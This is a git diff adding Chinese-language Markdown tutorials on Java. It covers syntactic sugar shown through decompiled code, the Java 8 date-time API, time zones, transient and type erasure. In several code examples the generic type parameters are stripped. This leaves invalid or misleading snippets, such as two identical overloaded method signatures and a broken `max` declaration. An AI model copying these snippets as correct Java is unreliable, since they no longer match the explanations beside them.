+ for(int i = 0; i < strs.length; i++)
+ System.out.println(strs[i]);
+
+ }
+
+
+从反编译后代码可以看出,可变参数在被使用的时候,他首先会创建一个数组,数组的长度就是调用该方法是传递的实参的个数,然后再把参数值全部放到这个数组当中,然后再把这个数组作为参数传递到被调用的方法中。
+
+> PS:反编译后的print方法声明中有一个transient标识,是不是很奇怪?transient不是不可以修饰方法吗?transient不是和序列化有关么?transient在这里的作用是什么?因为这个与本文关系不大,这里不做深入分析了。相了解的同学可以关注我微信公众号或者博客。
+
+### 糖块五 、 枚举
+
+Java SE5提供了一种新的类型-Java的枚举类型,关键字`enum`可以将一组具名的值的有限集合创建为一种新的类型,而这些具名的值可以作为常规的程序组件使用,这是一种非常有用的功能。
+
+要想看源码,首先得有一个类吧,那么枚举类型到底是什么类呢?是`enum`吗?答案很明显不是,`enum`就和`class`一样,只是一个关键字,他并不是一个类,那么枚举是由什么类维护的呢,我们简单的写一个枚举:
+
+ public enum t {
+ SPRING,SUMMER;
+ }
+
+
+然后我们使用反编译,看看这段代码到底是怎么实现的,反编译后代码内容如下:
+
+ public final class T extends Enum
+ {
+ private T(String s, int i)
+ {
+ super(s, i);
+ }
+ public static T[] values()
+ {
+ T at[];
+ int i;
+ T at1[];
+ System.arraycopy(at = ENUM$VALUES, 0, at1 = new T[i = at.length], 0, i);
+ return at1;
+ }
+
+ public static T valueOf(String s)
+ {
+ return (T)Enum.valueOf(demo/T, s);
+ }
+
+ public static final T SPRING;
+ public static final T SUMMER;
+ private static final T ENUM$VALUES[];
+ static
+ {
+ SPRING = new T("SPRING", 0);
+ SUMMER = new T("SUMMER", 1);
+ ENUM$VALUES = (new T[] {
+ SPRING, SUMMER
+ });
+ }
+ }
+
+
+通过反编译后代码我们可以看到,`public final class T extends Enum`,说明,该类是继承了`Enum`类的,同时`final`关键字告诉我们,这个类也是不能被继承的。**当我们使用`enum`来定义一个枚举类型的时候,编译器会自动帮我们创建一个`final`类型的类继承`Enum`类,所以枚举类型不能被继承。**
+
+### 糖块六 、 内部类
+
+内部类又称为嵌套类,可以把内部类理解为外部类的一个普通成员。
+
+**内部类之所以也是语法糖,是因为它仅仅是一个编译时的概念,`outer.java`里面定义了一个内部类`inner`,一旦编译成功,就会生成两个完全不同的`.class`文件了,分别是`outer.class`和`outer$inner.class`。所以内部类的名字完全可以和它的外部类名字相同。**
+
+ public class OutterClass {
+ private String userName;
+
+ public String getUserName() {
+ return userName;
+ }
+
+ public void setUserName(String userName) {
+ this.userName = userName;
+ }
+
+ public static void main(String[] args) {
+
+ }
+
+ class InnerClass{
+ private String name;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+ }
+ }
+
+
+以上代码编译后会生成两个class文件:`OutterClass$InnerClass.class` 、`OutterClass.class` 。当我们尝试对`OutterClass.class`文件进行反编译的时候,命令行会打印以下内容:`Parsing OutterClass.class...Parsing inner class OutterClass$InnerClass.class... Generating OutterClass.jad` 。他会把两个文件全部进行反编译,然后一起生成一个`OutterClass.jad`文件。文件内容如下:
+
+ public class OutterClass
+ {
+ class InnerClass
+ {
+ public String getName()
+ {
+ return name;
+ }
+ public void setName(String name)
+ {
+ this.name = name;
+ }
+ private String name;
+ final OutterClass this$0;
+
+ InnerClass()
+ {
+ this.this$0 = OutterClass.this;
+ super();
+ }
+ }
+
+ public OutterClass()
+ {
+ }
+ public String getUserName()
+ {
+ return userName;
+ }
+ public void setUserName(String userName){
+ this.userName = userName;
+ }
+ public static void main(String args1[])
+ {
+ }
+ private String userName;
+ }
+
+
+### 糖块七 、条件编译
+
+—般情况下,程序中的每一行代码都要参加编译。但有时候出于对程序代码优化的考虑,希望只对其中一部分内容进行编译,此时就需要在程序中加上条件,让编译器只对满足条件的代码进行编译,将不满足条件的代码舍弃,这就是条件编译。
+
+如在C或CPP中,可以通过预处理语句来实现条件编译。其实在Java中也可实现条件编译。我们先来看一段代码:
+
+ public class ConditionalCompilation {
+ public static void main(String[] args) {
+ final boolean DEBUG = true;
+ if(DEBUG) {
+ System.out.println("Hello, DEBUG!");
+ }
+
+ final boolean ONLINE = false;
+
+ if(ONLINE){
+ System.out.println("Hello, ONLINE!");
+ }
+ }
+ }
+
+
+反编译后代码如下:
+
+ public class ConditionalCompilation
+ {
+
+ public ConditionalCompilation()
+ {
+ }
+
+ public static void main(String args[])
+ {
+ boolean DEBUG = true;
+ System.out.println("Hello, DEBUG!");
+ boolean ONLINE = false;
+ }
+ }
+
+
+首先,我们发现,在反编译后的代码中没有`System.out.println("Hello, ONLINE!");`,这其实就是条件编译。当`if(ONLINE)`为false的时候,编译器就没有对其内的代码进行编译。
+
+所以,**Java语法的条件编译,是通过判断条件为常量的if语句实现的。其原理也是Java语言的语法糖。根据if判断条件的真假,编译器直接把分支为false的代码块消除。通过该方式实现的条件编译,必须在方法体内实现,而无法在正整个Java类的结构或者类的属性上进行条件编译,这与C/C++的条件编译相比,确实更有局限性。在Java语言设计之初并没有引入条件编译的功能,虽有局限,但是总比没有更强。**
+
+### 糖块八 、 断言
+
+在Java中,`assert`关键字是从JAVA SE 1.4 引入的,为了避免和老版本的Java代码中使用了`assert`关键字导致错误,Java在执行的时候默认是不启动断言检查的(这个时候,所有的断言语句都将忽略!),如果要开启断言检查,则需要用开关`-enableassertions`或`-ea`来开启。
+
+看一段包含断言的代码:
+
+ public class AssertTest {
+ public static void main(String args[]) {
+ int a = 1;
+ int b = 1;
+ assert a == b;
+ System.out.println("公众号:Hollis");
+ assert a != b : "Hollis";
+ System.out.println("博客:www.hollischuang.com");
+ }
+ }
+
+
+反编译后代码如下:
+
+ public class AssertTest {
+ public AssertTest()
+ {
+ }
+ public static void main(String args[])
+ {
+ int a = 1;
+ int b = 1;
+ if(!$assertionsDisabled && a != b)
+ throw new AssertionError();
+ System.out.println("\u516C\u4F17\u53F7\uFF1AHollis");
+ if(!$assertionsDisabled && a == b)
+ {
+ throw new AssertionError("Hollis");
+ } else
+ {
+ System.out.println("\u535A\u5BA2\uFF1Awww.hollischuang.com");
+ return;
+ }
+ }
+
+ static final boolean $assertionsDisabled = !com/hollis/suguar/AssertTest.desiredAssertionStatus();
+
+
+ }
+
+
+很明显,反编译之后的代码要比我们自己的代码复杂的多。所以,使用了assert这个语法糖我们节省了很多代码。**其实断言的底层实现就是if语言,如果断言结果为true,则什么都不做,程序继续执行,如果断言结果为false,则程序抛出AssertError来打断程序的执行。**`-enableassertions`会设置$assertionsDisabled字段的值。
+
+### 糖块九 、 数值字面量
+
+在java 7中,数值字面量,不管是整数还是浮点数,都允许在数字之间插入任意多个下划线。这些下划线不会对字面量的数值产生影响,目的就是方便阅读。
+
+比如:
+
+ public class Test {
+ public static void main(String... args) {
+ int i = 10_000;
+ System.out.println(i);
+ }
+ }
+
+
+反编译后:
+
+ public class Test
+ {
+ public static void main(String[] args)
+ {
+ int i = 10000;
+ System.out.println(i);
+ }
+ }
+
+
+反编译后就是把`_`删除了。也就是说 **编译器并不认识在数字字面量中的`_`,需要在编译阶段把他去掉。**
+
+### 糖块十 、 for-each
+
+增强for循环(`for-each`)相信大家都不陌生,日常开发经常会用到的,他会比for循环要少写很多代码,那么这个语法糖背后是如何实现的呢?
+
+ public static void main(String... args) {
+ String[] strs = {"Hollis", "公众号:Hollis", "博客:www.hollischuang.com"};
+ for (String s : strs) {
+ System.out.println(s);
+ }
+ List strList = ImmutableList.of("Hollis", "公众号:Hollis", "博客:www.hollischuang.com");
+ for (String s : strList) {
+ System.out.println(s);
+ }
+ }
+
+
+反编译后代码如下:
+
+ public static transient void main(String args[])
+ {
+ String strs[] = {
+ "Hollis", "\u516C\u4F17\u53F7\uFF1AHollis", "\u535A\u5BA2\uFF1Awww.hollischuang.com"
+ };
+ String args1[] = strs;
+ int i = args1.length;
+ for(int j = 0; j < i; j++)
+ {
+ String s = args1[j];
+ System.out.println(s);
+ }
+
+ List strList = ImmutableList.of("Hollis", "\u516C\u4F17\u53F7\uFF1AHollis", "\u535A\u5BA2\uFF1Awww.hollischuang.com");
+ String s;
+ for(Iterator iterator = strList.iterator(); iterator.hasNext(); System.out.println(s))
+ s = (String)iterator.next();
+
+ }
+
+
+代码很简单,**for-each的实现原理其实就是使用了普通的for循环和迭代器。**
+
+### 糖块十一 、 try-with-resource
+
+Java里,对于文件操作IO流、数据库连接等开销非常昂贵的资源,用完之后必须及时通过close方法将其关闭,否则资源会一直处于打开状态,可能会导致内存泄露等问题。
+
+关闭资源的常用方式就是在`finally`块里是释放,即调用`close`方法。比如,我们经常会写这样的代码:
+
+ public static void main(String[] args) {
+ BufferedReader br = null;
+ try {
+ String line;
+ br = new BufferedReader(new FileReader("d:\\hollischuang.xml"));
+ while ((line = br.readLine()) != null) {
+ System.out.println(line);
+ }
+ } catch (IOException e) {
+ // handle exception
+ } finally {
+ try {
+ if (br != null) {
+ br.close();
+ }
+ } catch (IOException ex) {
+ // handle exception
+ }
+ }
+ }
+
+
+从Java 7开始,jdk提供了一种更好的方式关闭资源,使用`try-with-resources`语句,改写一下上面的代码,效果如下:
+
+ public static void main(String... args) {
+ try (BufferedReader br = new BufferedReader(new FileReader("d:\\ hollischuang.xml"))) {
+ String line;
+ while ((line = br.readLine()) != null) {
+ System.out.println(line);
+ }
+ } catch (IOException e) {
+ // handle exception
+ }
+ }
+
+
+看,这简直是一大福音啊,虽然我之前一般使用`IOUtils`去关闭流,并不会使用在`finally`中写很多代码的方式,但是这种新的语法糖看上去好像优雅很多呢。看下他的背后:
+
+ public static transient void main(String args[])
+ {
+ BufferedReader br;
+ Throwable throwable;
+ br = new BufferedReader(new FileReader("d:\\ hollischuang.xml"));
+ throwable = null;
+ String line;
+ try
+ {
+ while((line = br.readLine()) != null)
+ System.out.println(line);
+ }
+ catch(Throwable throwable2)
+ {
+ throwable = throwable2;
+ throw throwable2;
+ }
+ if(br != null)
+ if(throwable != null)
+ try
+ {
+ br.close();
+ }
+ catch(Throwable throwable1)
+ {
+ throwable.addSuppressed(throwable1);
+ }
+ else
+ br.close();
+ break MISSING_BLOCK_LABEL_113;
+ Exception exception;
+ exception;
+ if(br != null)
+ if(throwable != null)
+ try
+ {
+ br.close();
+ }
+ catch(Throwable throwable3)
+ {
+ throwable.addSuppressed(throwable3);
+ }
+ else
+ br.close();
+ throw exception;
+ IOException ioexception;
+ ioexception;
+ }
+ }
+
+
+**其实背后的原理也很简单,那些我们没有做的关闭资源的操作,编译器都帮我们做了。所以,再次印证了,语法糖的作用就是方便程序员的使用,但最终还是要转成编译器认识的语言。**
+
+### 糖块十二、Lambda表达式
+
+关于lambda表达式,有人可能会有质疑,因为网上有人说他并不是语法糖。其实我想纠正下这个说法。**Labmda表达式不是匿名内部类的语法糖,但是他也是一个语法糖。实现方式其实是依赖了几个JVM底层提供的lambda相关api。**
+
+先来看一个简单的lambda表达式。遍历一个list:
+
+ public static void main(String... args) {
+ List strList = ImmutableList.of("Hollis", "公众号:Hollis", "博客:www.hollischuang.com");
+
+ strList.forEach( s -> { System.out.println(s); } );
+ }
+
+
+为啥说他并不是内部类的语法糖呢,前面讲内部类我们说过,内部类在编译之后会有两个class文件,但是,包含lambda表达式的类编译后只有一个文件。
+
+反编译后代码如下:
+
+ public static /* varargs */ void main(String ... args) {
+ ImmutableList strList = ImmutableList.of((Object)"Hollis", (Object)"\u516c\u4f17\u53f7\uff1aHollis", (Object)"\u535a\u5ba2\uff1awww.hollischuang.com");
+ strList.forEach((Consumer)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)V, lambda$main$0(java.lang.String ), (Ljava/lang/String;)V)());
+ }
+
+ private static /* synthetic */ void lambda$main$0(String s) {
+ System.out.println(s);
+ }
+
+
+可以看到,在`forEach`方法中,其实是调用了`java.lang.invoke.LambdaMetafactory#metafactory`方法,该方法的第四个参数implMethod指定了方法实现。可以看到这里其实是调用了一个`lambda$main$0`方法进行了输出。
+
+再来看一个稍微复杂一点的,先对List进行过滤,然后再输出:
+
+ public static void main(String... args) {
+ List strList = ImmutableList.of("Hollis", "公众号:Hollis", "博客:www.hollischuang.com");
+
+ List HollisList = strList.stream().filter(string -> string.contains("Hollis")).collect(Collectors.toList());
+
+ HollisList.forEach( s -> { System.out.println(s); } );
+ }
+
+
+反编译后代码如下:
+
+ public static /* varargs */ void main(String ... args) {
+ ImmutableList strList = ImmutableList.of((Object)"Hollis", (Object)"\u516c\u4f17\u53f7\uff1aHollis", (Object)"\u535a\u5ba2\uff1awww.hollischuang.com");
+ List HollisList = strList.stream().filter((Predicate)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)Z, lambda$main$0(java.lang.String ), (Ljava/lang/String;)Z)()).collect(Collectors.toList());
+ HollisList.forEach((Consumer)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)V, lambda$main$1(java.lang.Object ), (Ljava/lang/Object;)V)());
+ }
+
+ private static /* synthetic */ void lambda$main$1(Object s) {
+ System.out.println(s);
+ }
+
+ private static /* synthetic */ boolean lambda$main$0(String string) {
+ return string.contains("Hollis");
+ }
+
+
+两个lambda表达式分别调用了`lambda$main$1`和`lambda$main$0`两个方法。
+
+**所以,lambda表达式的实现其实是依赖了一些底层的api,在编译阶段,编译器会把lambda表达式进行解糖,转换成调用内部api的方式。**
+
+### 可能遇到的坑
+
+#### 泛型
+
+**一、当泛型遇到重载** public class GenericTypes {
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+
+ public static void method(List list) {
+ System.out.println("invoke method(List list)");
+ }
+ }
+
+
+上面这段代码,有两个重载的函数,因为他们的参数类型不同,一个是`List`另一个是`List` ,但是,这段代码是编译通不过的。因为我们前面讲过,参数`List`和`List`编译之后都被擦除了,变成了一样的原生类型List,擦除动作导致这两个方法的特征签名变得一模一样。
+
+**二、当泛型遇到catch** 泛型的类型参数不能用在Java异常处理的catch语句中。因为异常处理是由JVM在运行时刻来进行的。由于类型信息被擦除,JVM是无法区分两个异常类型`MyException`和`MyException`的
+
+**三、当泛型内包含静态变量**
+
+ public class StaticTest{
+ public static void main(String[] args){
+ GT gti = new GT();
+ gti.var=1;
+ GT gts = new GT();
+ gts.var=2;
+ System.out.println(gti.var);
+ }
+ }
+ class GT{
+ public static int var=0;
+ public void nothing(T x){}
+ }
+
+
+以上代码输出结果为:2!由于经过类型擦除,所有的泛型类实例都关联到同一份字节码上,泛型类的所有静态变量是共享的。
+
+#### 自动装箱与拆箱
+
+**对象相等比较**
+
+public class BoxingTest {
+
+ public static void main(String[] args) {
+ Integer a = 1000;
+ Integer b = 1000;
+ Integer c = 100;
+ Integer d = 100;
+ System.out.println("a == b is " + (a == b));
+ System.out.println(("c == d is " + (c == d)));
+ }
+
+
+输出结果:
+
+ a == b is false
+ c == d is true
+
+
+在Java 5中,在Integer的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。
+
+> 适用于整数值区间-128 至 +127。
+>
+> 只适用于自动装箱。使用构造函数创建对象不适用。
+
+#### 增强for循环
+
+**ConcurrentModificationException**
+
+ for (Student stu : students) {
+ if (stu.getId() == 2)
+ students.remove(stu);
+ }
+
+
+会抛出`ConcurrentModificationException`异常。
+
+Iterator是工作在一个独立的线程中,并且拥有一个 mutex 锁。 Iterator被创建之后会建立一个指向原来对象的单链索引表,当原来的对象数量发生变化时,这个索引表的内容不会同步改变,所以当索引指针往后移动的时候就找不到要迭代的对象,所以按照 fail-fast 原则 Iterator 会马上抛出`java.util.ConcurrentModificationException`异常。
+
+所以 `Iterator` 在工作的时候是不允许被迭代的对象被改变的。但你可以使用 `Iterator` 本身的方法`remove()`来删除对象,`Iterator.remove()` 方法会在删除当前迭代对象的同时维护索引的一致性。
+
+### 总结
+
+前面介绍了12种Java中常用的语法糖。所谓语法糖就是提供给开发人员便于开发的一种语法而已。但是这种语法只有开发人员认识。要想被执行,需要进行解糖,即转成JVM认识的语法。当我们把语法糖解糖之后,你就会发现其实我们日常使用的这些方便的语法,其实都是一些其他更简单的语法构成的。
+
+有了这些语法糖,我们在日常开发的时候可以大大提升效率,但是同时也要避免过渡使用。使用之前最好了解下原理,避免掉坑。
+
+参考资料: [Java的反编译][1] [Java中的Switch对整型、字符型、字符串型的具体实现细节][2] [深度分析Java的枚举类型—-枚举的线程安全性及序列化问题][3] [Java的枚举类型用法介绍][4] [Java中的增强for循环(for each)的实现原理与坑][5] [Java中泛型的理解][6] [Java中整型的缓存机制][7] [Java中的可变参数][8]
+
+ [1]: http://www.hollischuang.com/archives/58
+ [2]: http://www.hollischuang.com/archives/61
+ [3]: http://www.hollischuang.com/archives/197
+ [4]: http://www.hollischuang.com/archives/195
+ [5]: http://www.hollischuang.com/archives/1776
+ [6]: http://www.hollischuang.com/archives/230
+ [7]: http://www.hollischuang.com/archives/1174
+ [8]: http://www.hollischuang.com/archives/1271
diff --git a/docs/basics/java-basic/time-in-java8.md b/docs/basics/java-basic/time-in-java8.md
new file mode 100644
index 00000000..74e1c8fb
--- /dev/null
+++ b/docs/basics/java-basic/time-in-java8.md
@@ -0,0 +1,70 @@
+Java 8通过发布新的Date-Time API (JSR 310)来进一步加强对日期与时间的处理。
+
+在旧版的 Java 中,日期时间 API 存在诸多问题,其中有:
+
+* 非线程安全 − java.util.Date 是非线程安全的,所有的日期类都是可变的,这是Java日期类最大的问题之一。
+
+* 设计很差 − Java的日期/时间类的定义并不一致,在java.util和java.sql的包中都有日期类,此外用于格式化和解析的类在java.text包中定义。java.util.Date同时包含日期和时间,而java.sql.Date仅包含日期,将其纳入java.sql包并不合理。另外这两个类都有相同的名字,这本身就是一个非常糟糕的设计。
+
+* 时区处理麻烦 − 日期类并不提供国际化,没有时区支持,因此Java引入了java.util.Calendar和java.util.TimeZone类,但他们同样存在上述所有的问题。
+
+
+在Java8中, 新的时间及⽇期API位于java.time包中, 该包中有哪些重要的类。 分别代表了什么?
+
+
+`Instant`: 时间戳
+
+`Duration`: 持续时间, 时间差
+
+`LocalDate`: 只包含⽇期, ⽐如: 2016-10-20
+
+`LocalTime`: 只包含时间, ⽐如: 23:12:10
+
+`LocalDateTime`: 包含⽇期和时间, ⽐如: 2016-10-20 23:14:21
+
+`Period`: 时间段
+
+`ZoneOffset`: 时区偏移量, ⽐如: +8:00
+
+`ZonedDateTime`: 带时区的时间
+
+`Clock`: 时钟, ⽐如获取⽬前美国纽约的时间
+
+新的java.time包涵盖了所有处理日期,时间,日期/时间,时区,时刻(instants),过程(during)与时钟(clock)的操作。
+
+### LocalTime 和 LocalDate的区别?
+
+
+`LocalDate`表⽰⽇期, 年⽉⽇, `LocalTime`表⽰时间, 时分
+秒
+
+### 获取当前时间
+
+在Java8中,使用如下方式获取当前时间:
+
+ LocalDate today = LocalDate.now();
+ int year = today.getYear();
+ int month = today.getMonthValue();
+ int day = today.getDayOfMonth();
+ System.out.printf("Year : %d Month : %d day : %d t %n", year,month, day);
+
+
+### 创建指定日期的时间
+
+ LocalDate date = LocalDate.of(2018, 01, 01);
+
+
+### 检查闰年
+
+直接使⽤LocalDate的isLeapYear即可判断是否闰年
+
+ LocalDate nowDate = LocalDate.now();
+ //判断闰年
+ boolean leapYear = nowDate.isLeapYear();
+
+### 计算两个⽇期之间的天数和⽉数
+
+在Java 8中可以⽤java.time.Period类来做计算。
+
+ Period period = Period.between(LocalDate.of(2018, 1, 5),LocalDate.of(2018, 2, 5));
+
diff --git a/docs/basics/java-basic/time-zone.md b/docs/basics/java-basic/time-zone.md
new file mode 100644
index 00000000..61e2e747
--- /dev/null
+++ b/docs/basics/java-basic/time-zone.md
@@ -0,0 +1,9 @@
+时区是地球上的区域使用同一个时间定义。以前,人们通过观察太阳的位置(时角)决定时间,这就使得不同经度的地方的时间有所不同(地方时)。1863年,首次使用时区的概念。时区通过设立一个区域的标准时间部分地解决了这个问题。
+
+世界各个国家位于地球不同位置上,因此不同国家,特别是东西跨度大的国家日出、日落时间必定有所偏差。这些偏差就是所谓的时差。
+
+
+为了照顾到各地区的使用方便,又使其他地方的人容易将本地的时间换算到别的地方时间上去。有关国际会议决定将地球表面按经线从东到西,划成一个个区域,并且规定相邻区域的时间相差1小时。在同一区域内的东端和西端的人看到太阳升起的时间最多相差不过1小时。当人们跨过一个区域,就将自己的时钟校正1小时(向西减1小时,向东加1小时),跨过几个区域就加或减几小时。这样使用起来就很方便。现今全球共分为24个时区。由于实用上常常1个国家,或1个省份同时跨着2个或更多时区,为了照顾到行政上的方便,常将1个国家或1个省份划在一起。所以时区并不严格按南北直线来划分,而是按自然条件来划分。例如,中国幅员宽广,差不多跨5个时区,但为了使用方便简单,实际上在只用东八时区的标准时即北京时间为准。
+
+北京时间比洛杉矶时间早15或者16个小时。具体和时令有关。
+北京时间比纽约时间早12或者13个小时。具体和时令有关。
\ No newline at end of file
diff --git a/docs/basics/java-basic/timestamp.md b/docs/basics/java-basic/timestamp.md
new file mode 100644
index 00000000..28166c78
--- /dev/null
+++ b/docs/basics/java-basic/timestamp.md
@@ -0,0 +1,3 @@
+时间戳(timestamp),一个能表示一份数据在某个特定时间之前已经存在的、 完整的、 可验证的数据,通常是一个字符序列,唯一地标识某一刻的时间。
+
+时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。通俗的讲, 时间戳是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。
\ No newline at end of file
diff --git a/docs/basics/java-basic/transient-in-java.md b/docs/basics/java-basic/transient-in-java.md
new file mode 100644
index 00000000..1b66ef08
--- /dev/null
+++ b/docs/basics/java-basic/transient-in-java.md
@@ -0,0 +1,15 @@
+在关于java的集合类的学习中,我们发现`ArrayList`类和`Vector`类都是使用数组实现的,但是在定义数组`elementData`这个属性时稍有不同,那就是`ArrayList`使用`transient`关键字
+
+ private transient Object[] elementData;
+
+ protected Object[] elementData;
+
+
+那么,首先我们来看一下**transient**关键字的作用是什么。
+
+
+### transient
+
+> Java语言的关键字,变量修饰符,如果用transient声明一个实例变量,当对象存储时,它的值不需要维持。这里的对象存储是指,Java的serialization提供的一种持久化对象实例的机制。当一个对象被序列化的时候,transient型变量的值不包括在序列化的表示中,然而非transient型的变量是被包括进去的。使用情况是:当持久化对象时,可能有一个特殊的对象数据成员,我们不想用serialization机制来保存它。为了在一个特定对象的一个域上关闭serialization,可以在这个域前加上关键字transient。
+
+简单点说,就是被transient修饰的成员变量,在序列化的时候其值会被忽略,在被反序列化后, transient 变量的值被设为初始值, 如 int 型的是 0,对象型的是 null。
\ No newline at end of file
diff --git a/docs/basics/java-basic/try-with-resources.md b/docs/basics/java-basic/try-with-resources.md
new file mode 100644
index 00000000..632e92f5
--- /dev/null
+++ b/docs/basics/java-basic/try-with-resources.md
@@ -0,0 +1,91 @@
+Java里,对于文件操作IO流、数据库连接等开销非常昂贵的资源,用完之后必须及时通过close方法将其关闭,否则资源会一直处于打开状态,可能会导致内存泄露等问题。
+
+关闭资源的常用方式就是在finally块里是释放,即调用close方法。比如,我们经常会写这样的代码:
+
+ public static void main(String[] args) {
+ BufferedReader br = null;
+ try {
+ String line;
+ br = new BufferedReader(new FileReader("d:\\hollischuang.xml"));
+ while ((line = br.readLine()) != null) {
+ System.out.println(line);
+ }
+ } catch (IOException e) {
+ // handle exception
+ } finally {
+ try {
+ if (br != null) {
+ br.close();
+ }
+ } catch (IOException ex) {
+ // handle exception
+ }
+ }
+ }
+
+从Java 7开始,jdk提供了一种更好的方式关闭资源,使用try-with-resources语句,改写一下上面的代码,效果如下:
+
+ public static void main(String... args) {
+ try (BufferedReader br = new BufferedReader(new FileReader("d:\\ hollischuang.xml"))) {
+ String line;
+ while ((line = br.readLine()) != null) {
+ System.out.println(line);
+ }
+ } catch (IOException e) {
+ // handle exception
+ }
+ }
+
+看,这简直是一大福音啊,虽然我之前一般使用IOUtils去关闭流,并不会使用在finally中写很多代码的方式,但是这种新的语法糖看上去好像优雅很多呢。看下他的背后:
+
+ public static transient void main(String args[])
+ {
+ BufferedReader br;
+ Throwable throwable;
+ br = new BufferedReader(new FileReader("d:\\ hollischuang.xml"));
+ throwable = null;
+ String line;
+ try
+ {
+ while((line = br.readLine()) != null)
+ System.out.println(line);
+ }
+ catch(Throwable throwable2)
+ {
+ throwable = throwable2;
+ throw throwable2;
+ }
+ if(br != null)
+ if(throwable != null)
+ try
+ {
+ br.close();
+ }
+ catch(Throwable throwable1)
+ {
+ throwable.addSuppressed(throwable1);
+ }
+ else
+ br.close();
+ break MISSING_BLOCK_LABEL_113;
+ Exception exception;
+ exception;
+ if(br != null)
+ if(throwable != null)
+ try
+ {
+ br.close();
+ }
+ catch(Throwable throwable3)
+ {
+ throwable.addSuppressed(throwable3);
+ }
+ else
+ br.close();
+ throw exception;
+ IOException ioexception;
+ ioexception;
+ }
+ }
+
+其实背后的原理也很简单,那些我们没有做的关闭资源的操作,编译器都帮我们做了。所以,再次印证了,语法糖的作用就是方便程序员的使用,但最终还是要转成编译器认识的语言。
\ No newline at end of file
diff --git a/docs/basics/java-basic/type-erasure.md b/docs/basics/java-basic/type-erasure.md
new file mode 100644
index 00000000..8e4e1dfd
--- /dev/null
+++ b/docs/basics/java-basic/type-erasure.md
@@ -0,0 +1,198 @@
+
+
+### 一、各种语言中的编译器是如何处理泛型的
+
+通常情况下,一个编译器处理泛型有两种方式:
+
+1\.`Code specialization`。在实例化一个泛型类或泛型方法时都产生一份新的目标代码(字节码or二进制代码)。例如,针对一个泛型`List`,可能需要 针对`String`,`Integer`,`Float`产生三份目标代码。
+
+2\.`Code sharing`。对每个泛型类只生成唯一的一份目标代码;该泛型类的所有实例都映射到这份目标代码上,在需要的时候执行类型检查和类型转换。
+
+**C++** 中的模板(`template`)是典型的`Code specialization`实现。**C++** 编译器会为每一个泛型类实例生成一份执行代码。执行代码中`Integer List`和`String List`是两种不同的类型。这样会导致**代码膨胀(code bloat)**。 **C#** 里面泛型无论在程序源码中、编译后的`IL`中(Intermediate Language,中间语言,这时候泛型是一个占位符)或是运行期的CLR中都是切实存在的,`List`与`List`就是两个不同的类型,它们在系统运行期生成,有自己的虚方法表和类型数据,这种实现称为类型膨胀,基于这种方法实现的泛型被称为`真实泛型`。 **Java**语言中的泛型则不一样,它只在程序源码中存在,在编译后的字节码文件中,就已经被替换为原来的原生类型(Raw Type,也称为裸类型)了,并且在相应的地方插入了强制转型代码,因此对于运行期的Java语言来说,`ArrayList`与`ArrayList`就是同一个类。所以说泛型技术实际上是Java语言的一颗语法糖,Java语言中的泛型实现方法称为**类型擦除**,基于这种方法实现的泛型被称为`伪泛型`。
+
+`C++`和`C#`是使用`Code specialization`的处理机制,前面提到,他有一个缺点,那就是**会导致代码膨胀**。另外一个弊端是在引用类型系统中,浪费空间,因为引用类型集合中元素本质上都是一个指针。没必要为每个类型都产生一份执行代码。而这也是Java编译器中采用`Code sharing`方式处理泛型的主要原因。
+
+`Java`编译器通过`Code sharing`方式为每个泛型类型创建唯一的字节码表示,并且将该泛型类型的实例都映射到这个唯一的字节码表示上。将多种泛型类形实例映射到唯一的字节码表示是通过**类型擦除**(`type erasure`)实现的。
+
+* * *
+
+### 二、什么是类型擦除
+
+前面我们多次提到这个词:**类型擦除**(`type erasure`),那么到底什么是类型擦除呢?
+
+> 类型擦除指的是通过类型参数合并,将泛型类型实例关联到同一份字节码上。编译器只为泛型类型生成一份字节码,并将其实例关联到这份字节码上。类型擦除的关键在于从泛型类型中清除类型参数的相关信息,并且再必要的时候添加类型检查和类型转换的方法。 类型擦除可以简单的理解为将泛型java代码转换为普通java代码,只不过编译器更直接点,将泛型java代码直接转换成普通java字节码。 类型擦除的主要过程如下: 1.将所有的泛型参数用其最左边界(最顶级的父类型)类型替换。(这部分内容可以看:[Java泛型中extends和super的理解][2]) 2.移除所有的类型参数。
+
+* * *
+
+### 三、Java编译器处理泛型的过程
+
+**code 1:**
+
+ public static void main(String[] args) {
+ Map map = new HashMap();
+ map.put("name", "hollis");
+ map.put("age", "22");
+ System.out.println(map.get("name"));
+ System.out.println(map.get("age"));
+ }
+
+
+**反编译后的code 1:**
+
+ public static void main(String[] args) {
+ Map map = new HashMap();
+ map.put("name", "hollis");
+ map.put("age", "22");
+ System.out.println((String) map.get("name"));
+ System.out.println((String) map.get("age"));
+ }
+
+
+我们发现泛型都不见了,程序又变回了Java泛型出现之前的写法,泛型类型都变回了原生类型,
+
+* * *
+
+**code 2:**
+
+ interface Comparable {
+ public int compareTo(A that);
+ }
+
+ public final class NumericValue implements Comparable {
+ private byte value;
+
+ public NumericValue(byte value) {
+ this.value = value;
+ }
+
+ public byte getValue() {
+ return value;
+ }
+
+ public int compareTo(NumericValue that) {
+ return this.value - that.value;
+ }
+ }
+
+
+**反编译后的code 2:**
+
+ interface Comparable {
+ public int compareTo( Object that);
+ }
+
+ public final class NumericValue
+ implements Comparable
+ {
+ public NumericValue(byte value)
+ {
+ this.value = value;
+ }
+ public byte getValue()
+ {
+ return value;
+ }
+ public int compareTo(NumericValue that)
+ {
+ return value - that.value;
+ }
+ public volatile int compareTo(Object obj)
+ {
+ return compareTo((NumericValue)obj);
+ }
+ private byte value;
+ }
+
+* * *
+
+**code 3:**
+
+ public class Collections {
+ public static > A max(Collection xs) {
+ Iterator xi = xs.iterator();
+ A w = xi.next();
+ while (xi.hasNext()) {
+ A x = xi.next();
+ if (w.compareTo(x) < 0)
+ w = x;
+ }
+ return w;
+ }
+ }
+
+
+**反编译后的code 3:**
+
+ public class Collections
+ {
+ public Collections()
+ {
+ }
+ public static Comparable max(Collection xs)
+ {
+ Iterator xi = xs.iterator();
+ Comparable w = (Comparable)xi.next();
+ while(xi.hasNext())
+ {
+ Comparable x = (Comparable)xi.next();
+ if(w.compareTo(x) < 0)
+ w = x;
